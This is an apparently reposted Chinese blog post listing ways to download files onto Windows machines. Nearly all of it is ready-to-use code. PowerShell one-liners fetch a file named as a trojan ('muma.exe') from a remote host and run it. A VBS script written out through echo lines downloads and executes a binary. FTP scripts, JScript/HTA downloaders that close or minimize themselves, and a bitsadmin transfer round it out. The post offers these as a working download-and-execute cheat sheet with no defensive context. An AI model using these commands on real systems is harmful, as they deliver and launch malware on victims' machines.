文件下载方法整理

作者: simeon2015 | 来源:发表于2018-04-11 21:40 被阅读22次

    1.powershell下载

    powershell$client=new-objectSystem.Net.WebClient;$client.DownloadFile('http://10.10.10.1/muma.exe','c:\dao.exe');&"c:\dao.exe"

    powershell (New-ObjectNet.WebClient).DownloadFile('http://10.10.10.1/muma.exe','c:\you.exe');&"c:\you.exe"

    2.vbs下载

    echo Set Post = CreateObject("Msxml2.XMLHTTP") >>zl.vbs

    echo Set Shell = CreateObject("Wscript.Shell") >>zl.vbs

    echo Post.Open "GET","http://10.10.10.1/muma.exe",0 >>zl.vbs

    echo Post.Send() >>zl.vbs

    echo Set aGet = CreateObject("ADODB.Stream") >>zl.vbs

    echo aGet.Mode = 3 >>zl.vbs

    echo aGet.Type = 1 >>zl.vbs

    echo aGet.Open() >>zl.vbs

    echo aGet.Write(Post.responseBody) >>zl.vbs

    echo aGet.SaveToFile "c:\zl.exe",2 >>zl.vbs

    echo wscript.sleep 1000 >>zl.vbs

    echo Shell.Run ("c:\zl.exe") >>zl.vbs

    3.ftp下载

    ftp domain.com

    ftp 192.168.0.1

    ftp user@ftpdomain.com

    put filename 上传文件

    get filename 下载文件

    ftp的另外一种下载方法:

    echo open 192.168.174.151 21> ftp.txt

    echo ftp>> ftp.txt

    echo bin >> ftp.txt

    echo ftp>> ftp.txt

    echo GET ssss2.exe >> ftp.txt

    ftp -s:ftp.txt

    4.js下载

    var Object = WScript.CreateObject("MSXML2.XMLHTTP");

    Object.open("GET","http://192.168.174.145/ssss2.exe",false);

    Object.send();

    if (Object.Status == 200)

    {

        var Stream = WScript.CreateObject("ADODB.Stream");

        Stream.Open();

        Stream.Type = 1;

        Stream.Write(Object.ResponseBody);

        Stream.SaveToFile("C:\\test\\update\\ssss2.exe", 2);

        Stream.Close();

    }

    5.js下载

    var Object = new ActiveXObject("MSXML2.XMLHTTP");

    Object.open("GET","http://192.168.174.145/ssss2.exe",false);

    Object.send();

    if (Object.Status == 200)

    {

        var Stream = new ActiveXObject("ADODB.Stream");

        Stream.Open();

        Stream.Type = 1;

        Stream.Write(Object.ResponseBody);

        Stream.SaveToFile("C:\\test\\update\\ssss2.exe", 2);

        Stream.Close();

    }

    window.close();

    WINDOWSTATE = "minimize">

    6.bitsadmin

    bitsadmin /transfer n http://download.sysinternals.com/files/PSTools.zip  C:\test\update\PSTools.zip

    相关文章

      网友评论

        本文标题:文件下载方法整理

        本文链接:https://www.haomeiwen.com/subject/ujxtkftx.html